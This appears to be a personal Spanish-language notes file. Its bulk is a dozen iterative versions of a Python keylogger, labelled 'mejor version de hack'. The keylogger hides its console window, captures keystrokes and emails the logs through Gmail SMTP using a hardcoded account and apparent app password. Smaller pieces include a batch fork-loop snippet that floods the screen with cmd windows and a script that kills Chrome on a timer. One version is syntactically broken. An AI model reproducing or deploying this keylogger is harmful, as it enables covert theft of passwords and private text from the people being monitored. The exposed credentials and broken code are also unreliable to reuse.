:bucle
star hola
goto gil
si guardo lo de arriba en.bat si ejecutara cmd infinitamente, para PARARLO MANTENER
ALT F4 HASTA QUE DEJE DE GENERAR
cd .\downloads\ # Cambiar al directorio "downloads"
pip install .\pywin32-228-cp36-cp36m-win32.whl # Instalar el paquete de Python
desde el archivo .whl
=======================================
import pythoncom
import pyHook
import keyboard
import win32gui
import win32console
import win32con
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
# Ruta al archivo de registro
log_file = "registro.txt"
# Configuración del servidor SMTP para enviar correo electrónico
smtp_server = 'smtp.gmail.com'
smtp_port = 587
smtp_user = 'diego.alch4@gmail.com'
smtp_password = 'Hola,ostrastio@auris.com'
email_from = 'diego.alch4@gmail.com'
email_to = 'diego.alch4@gmail.com'
# Contadores de pulsaciones de tecla "Enter" y clics de ratón
enter_count = 0
mouse_click_count = 0
# Función para enviar correo electrónico
def send_email(subject, message):
msg = MIMEMultipart()
msg['From'] = email_from
msg['To'] = email_to
msg['Subject'] = subject
msg.attach(MIMEText(message, 'plain'))
try:
server = smtplib.SMTP(smtp_server, smtp_port)
server.starttls()
server.login(smtp_user, smtp_password)
text = msg.as_string()
server.sendmail(email_from, email_to, text)
server.quit()
print("Correo electrónico enviado con éxito.")
except Exception as e:
print("Error al enviar el correo electrónico:", str(e))
# Función de registro de teclas
def OnKeyboardEvent(event):
global enter_count
if event.Ascii == 13: # Tecla "Enter"
enter_count += 1
if enter_count >= 5:
enter_count = 0
with open(log_file, 'r') as f:
log_content = f.read()
send_email("Registro de pulsaciones de teclado y ratón",
log_content)
with open(log_file, 'w') as f:
f.truncate()
else:
with open(log_file, 'a') as f:
f.write(chr(event.Ascii))
return True
# Función de registro de clics de ratón
def OnMouseEvent(event):
global mouse_click_count
mouse_click_count += 1
if mouse_click_count >= 5:
mouse_click_count = 0
with open(log_file, 'r') as f:
log_content = f.read()
send_email("Registro de pulsaciones de teclado y ratón", log_content)
with open(log_file, 'w') as f:
f.truncate()
return True
# Ocultar la ventana de la consola
win = win32console.GetConsoleWindow()
win32gui.ShowWindow(win, win32con.SW_HIDE)
# Instalar un filtro de teclado y ratón
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
hm.MouseAll = OnMouseEvent
hm.HookMouse()
# Iniciar el bucle de mensajes
pythoncom.PumpMessages()
==========================================================================2
import keyboard
import win32gui
import win32console
import win32con
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
log_file = "registro.txt"
smtp_server = 'smtp.gmail.com'
smtp_port = 587
smtp_user = 'diego.alch4@gmail.com'
smtp_password = 'Hola,ostrastio@auris.com'
email_from = 'diego.alch4@gmail.com'
email_to = 'diego.alch4@gmail.com'
enter_count = 0
def send_email(subject, message):
msg = MIMEMultipart()
msg['From'] = email_from
msg['To'] = email_to
msg['Subject'] = subject
msg.attach(MIMEText(message, 'plain'))
try:
server = smtplib.SMTP(smtp_server, smtp_port)
server.starttls()
server.login(smtp_user, smtp_password)
text = msg.as_string()
server.sendmail(email_from, email_to, text)
server.quit()
except Exception as e:
pass
def on_key_event(event):
global enter_count
if event.name == 'enter':
enter_count += 1
if enter_count >= 5:
enter_count = 0
with open(log_file, 'r') as f:
log_content = f.read()
send_email("Registro de pulsaciones de teclado y ratón",
log_content)
with open(log_file, 'w') as f:
f.truncate()
else:
with open(log_file, 'a') as f:
f.write(event.name)
return True
win = win32console.GetConsoleWindow()
win32gui.ShowWindow(win, win32con.SW_HIDE)
keyboard.on_press(on_key_event)
keyboard.wait()
===================================================================================
========3 EL MEJOR FINAL
import keyboard
import win32gui
import win32console
import win32con
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
log_file = "registro.txt"
smtp_server = 'smtp.gmail.com'
smtp_port = 587
smtp_user = 'diego.alch4@gmail.com'
smtp_password = 'ghtd rlbu heih klaf' # Nueva contraseña
email_from = 'diego.alch4@gmail.com'
email_to = 'diego.alch4@gmail.com'
enter_count = 0
def send_email(subject, message):
msg = MIMEMultipart()
msg['From'] = email_from
msg['To'] = email_to
msg['Subject'] = subject
msg.attach(MIMEText(message, 'plain'))
try:
server = smtplib.SMTP(smtp_server, smtp_port)
server.starttls()
server.login(smtp_user, smtp_password)
text = msg.as_string()
print("Contenido del mensaje:")
print(text)
server.sendmail(email_from, email_to, text)
server.quit()
print("Correo electrónico enviado con éxito.")
except Exception as e:
print("Error al enviar el correo electrónico:", str(e))
def on_key_event(event):
global enter_count
key = event.name
# Manejar la barra espaciadora, el clic izquierdo del mouse y la tecla enter
if key == 'space':
key = ' ' # Reemplazar la barra espaciadora por un espacio en blanco
elif key == 'enter':
key = '\n' # Reemplazar la tecla enter por un salto de línea
enter_count += 1
if enter_count >= 5:
enter_count = 0
with open(log_file, 'r') as f:
log_content = f.read()
send_email("Registro de pulsaciones de teclado y ratón",
log_content)
with open(log_file, 'w') as f:
f.truncate()
elif key == 'backspace' or key == 'left mouse':
key = '\n' # Separar las palabras escribiendo en la siguiente línea
with open(log_file, 'a') as f:
f.write(key)
return True
win = win32console.GetConsoleWindow()
win32gui.ShowWindow(win, win32con.SW_HIDE)
keyboard.on_press(on_key_event)
keyboard.wait()
===================================================================================
=============CERRAR CHROME
import os
from datetime import datetime, time
import time as t
def cerrar_programa(programa):
os.system("TASKKILL /F /IM " + programa + ".exe")
def cerrar_programa_a_la_hora(programa, hora_cierre):
while True:
ahora = datetime.now().time()
if ahora >= hora_cierre:
cerrar_programa(programa)
break
t.sleep(60) # Espera 60 segundos antes de verificar de nuevo
if __name__ == "__main__":
programa_a_cerrar = "chrome.exe"
hora_de_cierre = time(22,20) # Hora de cierre (12:00 PM)
cerrar_programa_a_la_hora(programa_a_cerrar, hora_de_cierre)
===================================================================================
=============nueva version key
import keyboard
import win32gui
import win32console
import win32con
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
log_file = "registro.txt"
smtp_server = 'smtp.gmail.com'
smtp_port = 587
smtp_user = 'diego.alch4@gmail.com'
smtp_password = 'ghtd rlbu heih klaf' # Nueva contraseña
email_from = 'diego.alch4@gmail.com'
email_to = 'diego.alch4@gmail.com'
enter_count = 0
def send_email(subject, message):
msg = MIMEMultipart()
msg['From'] = email_from
msg['To'] = email_to
msg['Subject'] = subject
msg.attach(MIMEText(message, 'plain'))
try:
server = smtplib.SMTP(smtp_server, smtp_port)
server.starttls()
server.login(smtp_user, smtp_password)
text = msg.as_string()
print("Contenido del mensaje:")
print(text)
server.sendmail(email_from, email_to, text)
server.quit()
print("Correo electrónico enviado con éxito.")
except Exception as e:
print("Error al enviar el correo electrónico:", str(e))
def on_key_event(event):
global enter_count
key = event.name
# Teclas que deseas omitir
keys_to_ignore = ['right', 'shift', 'alt', 'alt gr', 'ctrl']
# Manejar la barra espaciadora, el clic izquierdo del mouse y la tecla enter
if key == 'space':
key = ' ' # Reemplazar la barra espaciadora por un espacio en blanco
elif key == 'enter':
key = '\n' # Reemplazar la tecla enter por un salto de línea
enter_count += 1
if enter_count >= 5:
enter_count = 0
with open(log_file, 'r') as f:
log_content = f.read()
send_email("Registro de pulsaciones de teclado y ratón",
log_content)
with open(log_file, 'w') as f:
f.truncate()
elif key == 'backspace' or key == 'left mouse':
key = '\n' # Separar las palabras escribiendo en la siguiente línea
elif key.lower() in
return True
with open(log_file, 'a') as f:
f.write(key)
return True
win = win32console.GetConsoleWindow()
win32gui.ShowWindow(win, win32con.SW_HIDE)
keyboard.on_press(on_key_event)
keyboard.wait()
# Teclas que deseas omitir
keys_to_ignore = ['right', 'shift', 'alt', 'alt gr', 'ctrl']
# Manejar la barra espaciadora, el clic izquierdo del mouse y la tecla enter
if key == 'space':
key = ' ' # Reemplazar la barra espaciadora por un espacio en blanco
elif key == 'enter':
key = '\n' # Reemplazar la tecla enter por un salto de línea
enter_count += 1
if enter_count >= 5:
enter_count = 0
with open(log_file, 'r') as f:
log_content = f.read()
send_email("Registro de pulsaciones de teclado y ratón",
log_content)
with open(log_file, 'w') as f:
f.truncate()
return False # Detener el registro de la tecla Enter
elif key == 'backspace' or key == 'left mouse':
key = '\n' # Separar las palabras escribiendo en la siguiente línea
elif key.lower() in keys_to_ignore:
# Ignorar las teclas definidas en keys_to_ignore
return False # Detener el registro de las teclas ignoradas
with open(log_file, 'a') as f:
f.write(key)
return True
win = win32console.GetConsoleWindow()
win32gui.ShowWindow(win, win32con.SW_HIDE)
keyboard.on_press(on_key_event)
keyboard.wait()
======================================================================otra version
import keyboard
import win32gui
import win32console
import win32con
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
log_file = "registro.txt"
smtp_server = 'smtp.gmail.com'
smtp_port = 587
smtp_user = 'diego.alch4@gmail.com'
smtp_password = 'ghtd rlbu heih klaf' # Nueva contraseña
email_from = 'diego.alch4@gmail.com'
email_to = 'diego.alch4@gmail.com'
enter_count = 0
def send_email(subject, message):
msg = MIMEMultipart()
msg['From'] = email_from
msg['To'] = email_to
msg['Subject'] = subject
msg.attach(MIMEText(message, 'plain'))
try:
server = smtplib.SMTP(smtp_server, smtp_port)
server.starttls()
server.login(smtp_user, smtp_password)
text = msg.as_string()
print("Contenido del mensaje:")
print(text)
server.sendmail(email_from, email_to, text)
server.quit()
print("Correo electrónico enviado con éxito.")
except Exception as e:
print("Error al enviar el correo electrónico:", str(e))
def on_key_event(event):
global enter_count
key = event.name
# Teclas que deseas omitir
keys_to_ignore = ['right', 'shift', 'alt', 'alt gr', 'ctrl']
# Manejar la barra espaciadora, el clic izquierdo del mouse y la tecla enter
if key == 'space':
key = ' ' # Reemplazar la barra espaciadora por un espacio en blanco
elif key == 'enter':
key = '\n' # Reemplazar la tecla enter por un salto de línea
enter_count += 1
if enter_count >= 5:
enter_count = 0
with open(log_file, 'r') as f:
log_content = f.read()
send_email("Registro de pulsaciones de teclado y ratón",
log_content)
with open(log_file, 'w') as f:
f.truncate()
return False # Detener el registro de la tecla Enter
elif key == 'backspace' or key == 'left mouse':
key = '\n' # Separar las palabras escribiendo en la siguiente línea
elif key.lower() in keys_to_ignore:
# Ignorar las teclas definidas en keys_to_ignore
return False # Detener el registro de las teclas ignoradas
with open(log_file, 'a') as f:
f.write(key)
return True
win = win32console.GetConsoleWindow()
win32gui.ShowWindow(win, win32con.SW_HIDE)
keyboard.on_press(on_key_event)
keyboard.wait()
===================================================================================
=mejor version de hack
import keyboard
import win32gui
import win32console
import win32con
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
log_file = "registro.txt"
smtp_server = 'smtp.gmail.com'
smtp_port = 587
smtp_user = 'diego.alch4@gmail.com'
smtp_password = 'ghtd rlbu heih klaf'
email_from = 'diego.alch4@gmail.com'
email_to = 'diego.alch4@gmail.com'
enter_count = 0
def send_email(subject, message):
msg = MIMEMultipart()
msg['From'] = email_from
msg['To'] = email_to
msg['Subject'] = subject
msg.attach(MIMEText(message, 'plain'))
try:
server = smtplib.SMTP(smtp_server, smtp_port)
server.starttls()
server.login(smtp_user, smtp_password)
text = msg.as_string()
print("Contenido del mensaje:")
print(text)
server.sendmail(email_from, email_to, text)
server.quit()
print("Correo electrónico enviado con éxito.")
except Exception as e:
print("Error al enviar el correo electrónico:", str(e))
def on_key_event(event):
global enter_count
key = event.name
scan_code = event.scan_code
# Lista de teclas a ignorar (nombre y/o scan_code)
keys_to_ignore = ['right', 'shift', 'alt']
scan_codes_to_ignore = [54, 42, 56] # 54 para Ctrl, 42 para Shift, 56 para Alt
if key == 'space':
key = ' '
elif key == 'enter':
key = '\n'
enter_count += 1
if enter_count >= 3:
enter_count = 0
with open(log_file, 'r') as f:
log_content = f.read()
send_email("Registro de teclas", log_content)
with open(log_file, 'w') as f:
f.truncate()
elif key == 'backspace' or key == 'left mouse':
key = '\n'
elif key.lower() in keys_to_ignore or scan_code in scan_codes_to_ignore:
return True # Ignora la tecla si está en la lista de ignoradas
with open(log_file, 'a') as f:
f.write(key)
return True
# Oculta la consola de Windows
win = win32console.GetConsoleWindow()
win32gui.ShowWindow(win, win32con.SW_HIDE)
# Asocia la función on_key_event al evento de presionar teclas
keyboard.on_press(on_key_event)
# Espera hasta que se presione una tecla (ejecución infinita)
keyboard.wait()
===================================================================================
==LA MEJOR VERSION DEL CODIGOOOOO SOLO FALTA CORREGIR Ñ
import keyboard
import win32gui
import win32console
import win32con
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
log_file = "registro.txt"
smtp_server = 'smtp.gmail.com'
smtp_port = 587
smtp_user = 'diego.alch4@gmail.com'
smtp_password = 'ghtd rlbu heih klaf'
email_from = 'diego.alch4@gmail.com'
email_to = 'diego.alch4@gmail.com'
enter_count = 0
def send_email(subject, message):
msg = MIMEMultipart()
msg['From'] = email_from
msg['To'] = email_to
msg['Subject'] = subject
msg.attach(MIMEText(message, 'plain'))
try:
server = smtplib.SMTP(smtp_server, smtp_port)
server.starttls()
server.login(smtp_user, smtp_password)
text = msg.as_string()
print("Contenido del mensaje:")
print(text)
server.sendmail(email_from, email_to, text)
server.quit()
print("Correo electrónico enviado con éxito.")
except Exception as e:
print("Error al enviar el correo electrónico:", str(e))
def on_key_event(event):
global enter_count
# Lista de teclas a ignorar (nombre y/o scan_code)
keys_to_ignore = ['right', 'shift', 'alt']
scan_codes_to_ignore = [42, 54, 56] # 42 para Shift, 54 para Ctrl, 56 para Alt
if event.name == 'ctrl':
return True # Ignora la tecla Ctrl
if event.scan_code in scan_codes_to_ignore:
return True # Ignora otras teclas según su scan_code
key = event.name
if key == 'space':
key = ' '
elif key == 'enter':
key = '\n'
enter_count += 1
if enter_count >= 3:
enter_count = 0
with open(log_file, 'r') as f:
log_content = f.read()
send_email("Registro de teclas", log_content)
with open(log_file, 'w') as f:
f.truncate()
elif key == 'backspace' or key == 'left mouse':
key = '\n'
with open(log_file, 'a') as f:
f.write(key)
return True
# Oculta la consola de Windows
win = win32console.GetConsoleWindow()
win32gui.ShowWindow(win, win32con.SW_HIDE)
# Asocia la función on_key_event al evento de presionar teclas
keyboard.on_press(on_key_event)
# Espera hasta que se presione una tecla (ejecución infinita)
keyboard.wait()
=================================================================================me
jor version que omite alt gralt
import keyboard
import win32gui
import win32console
import win32con
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
log_file = "registro.txt"
smtp_server = 'smtp.gmail.com'
smtp_port = 587
smtp_user = 'diego.alch4@gmail.com'
smtp_password = 'ghtd rlbu heih klaf'
email_from = 'diego.alch4@gmail.com'
email_to = 'diego.alch4@gmail.com'
enter_count = 0
def send_email(subject, message):
msg = MIMEMultipart()
msg['From'] = email_from
msg['To'] = email_to
msg['Subject'] = subject
msg.attach(MIMEText(message, 'plain'))
try:
server = smtplib.SMTP(smtp_server, smtp_port)
server.starttls()
server.login(smtp_user, smtp_password)
text = msg.as_string()
print("Contenido del mensaje:")
print(text)
server.sendmail(email_from, email_to, text)
server.quit()
print("Correo electrónico enviado con éxito.")
except Exception as e:
print("Error al enviar el correo electrónico:", str(e))
def on_key_event(event):
global enter_count
# Lista de teclas a ignorar (nombre y/o scan_code)
keys_to_ignore = ['right', 'shift', 'alt']
scan_codes_to_ignore = [42, 54, 56] # 42 para Shift, 54 para Ctrl, 56 para Alt
alt_gr_scan_codes = [541] # Scan code específico para Alt Gr
if event.name == 'ctrl':
return True # Ignora la tecla Ctrl
if event.scan_code in scan_codes_to_ignore:
return True # Ignora otras teclas según su scan_code
# Manejo específico de Alt Gr
if event.scan_code in alt_gr_scan_codes:
return True # Ignora Alt Gr
key = event.name
if key == 'space':
key = ' '
elif key == 'enter':
key = '\n'
enter_count += 1
if enter_count >= 3:
enter_count = 0
with open(log_file, 'r') as f:
log_content = f.read()
send_email("Registro de teclas", log_content)
with open(log_file, 'w') as f:
f.truncate()
elif key == 'backspace' or key == 'left mouse':
key = '\n'
with open(log_file, 'a') as f:
f.write(key)
return True
# Oculta la consola de Windows
win = win32console.GetConsoleWindow()
win32gui.ShowWindow(win, win32con.SW_HIDE)
# Asocia la función on_key_event al evento de presionar teclas
keyboard.on_press(on_key_event)
# Espera hasta que se presione una tecla (ejecución infinita)
keyboard.wait()
===================================================================================
===version ignora flecha arriba, abajo, izquierda , derecha| version 15/6
import keyboard
import win32gui
import win32console
import win32con
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
log_file = "registro.txt"
smtp_server = 'smtp.gmail.com'
smtp_port = 587
smtp_user = 'diego.alch4@gmail.com'
smtp_password = 'ghtd rlbu heih klaf'
email_from = 'diego.alch4@gmail.com'
email_to = 'diego.alch4@gmail.com'
enter_count = 0
def send_email(subject, message):
msg = MIMEMultipart()
msg['From'] = email_from
msg['To'] = email_to
msg['Subject'] = subject
msg.attach(MIMEText(message, 'plain'))
try:
server = smtplib.SMTP(smtp_server, smtp_port)
server.starttls()
server.login(smtp_user, smtp_password)
text = msg.as_string()
print("Contenido del mensaje:")
print(text)
server.sendmail(email_from, email_to, text)
server.quit()
print("Correo electrónico enviado con éxito.")
except Exception as e:
print("Error al enviar el correo electrónico:", str(e))
def on_key_event(event):
global enter_count
# Lista de teclas a ignorar (nombre y/o scan_code)
keys_to_ignore = ['right', 'shift', 'alt', 'up', 'down', 'left']
scan_codes_to_ignore = [42, 54, 56, 72, 80, 75, 77] # 42 para Shift, 54 para
Ctrl, 56 para Alt, 72-80 para flechas
if event.name == 'ctrl':
return True # Ignora la tecla Ctrl
if event.scan_code in scan_codes_to_ignore:
return True # Ignora otras teclas según su scan_code
key = event.name
if key == 'space':
key = ' '
elif key == 'enter':
key = '\n'
enter_count += 1
if enter_count >= 3:
enter_count = 0
with open(log_file, 'r') as f:
log_content = f.read()
send_email("Registro de teclas", log_content)
with open(log_file, 'w') as f:
f.truncate()
elif key == 'backspace' or key == 'left mouse':
key = '\n'
with open(log_file, 'a') as f:
f.write(key)
return True
# Oculta la consola de Windows
win = win32console.GetConsoleWindow()
win32gui.ShowWindow(win, win32con.SW_HIDE)
# Asocia la función on_key_event al evento de presionar teclas
keyboard.on_press(on_key_event)
# Espera hasta que se presione una tecla (ejecución infinita)
keyboard.wait()
===================================================================================
===================ESTA VERSION EVITA PALABRAS REPETIDAS, PODRIA FINALIZAR ACA EL
PROYECTO
import keyboard
import win32gui
import win32console
import win32con
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
log_file = "registro.txt"
smtp_server = 'smtp.gmail.com'
smtp_port = 587
smtp_user = 'diego.alch4@gmail.com'
smtp_password = 'ghtd rlbu heih klaf'
email_from = 'diego.alch4@gmail.com'
email_to = 'diego.alch4@gmail.com'
buffer = [] # Almacena temporalmente las pulsaciones antes de escribirlas en el
archivo
def send_email(subject, message):
msg = MIMEMultipart()
msg['From'] = email_from
msg['To'] = email_to
msg['Subject'] = subject
msg.attach(MIMEText(message, 'plain'))
try:
server = smtplib.SMTP(smtp_server, smtp_port)
server.starttls()
server.login(smtp_user, smtp_password)
text = msg.as_string()
server.sendmail(email_from, email_to, text)
server.quit()
print("Correo electrónico enviado con éxito.")
except Exception as e:
print("Error al enviar el correo electrónico:", str(e))
def on_key_event(event):
global buffer
keys_to_ignore = ['right', 'shift', 'alt', 'up', 'down', 'left']
scan_codes_to_ignore = [42, 54, 56, 72, 80, 75, 77]
if event.name == 'ctrl':
return True
if event.scan_code in scan_codes_to_ignore:
return True
key = event.name
if key == 'space':
key = ' '
elif key == 'enter':
key = '\n'
buffer.append(key) # Agrega el salto de línea al buffer
if len(buffer) >= 3:
log_content = ''.join(buffer)
send_email("Registro de teclas", log_content)
with open(log_file, 'w') as f:
f.write("") # Limpia el contenido del archivo
buffer.clear() # Limpia el buffer después de enviar el correo
return True # Retorna True para evitar escribir '\n' en el archivo
elif key == 'backspace' or key == 'left mouse':
key = '\n'
buffer.append(key) # Agrega la tecla al buffer
# Guarda en el archivo solo si no es un carácter especial
if len(key) == 1:
with open(log_file, 'a') as f:
f.write(key)
return True
# Oculta la consola de Windows
win = win32console.GetConsoleWindow()
win32gui.ShowWindow(win, win32con.SW_HIDE)
# Asocia la función on_key_event al evento de presionar teclas
keyboard.on_press(on_key_event)
# Espera hasta que se presione una tecla (ejecución infinita)
keyboard.wait()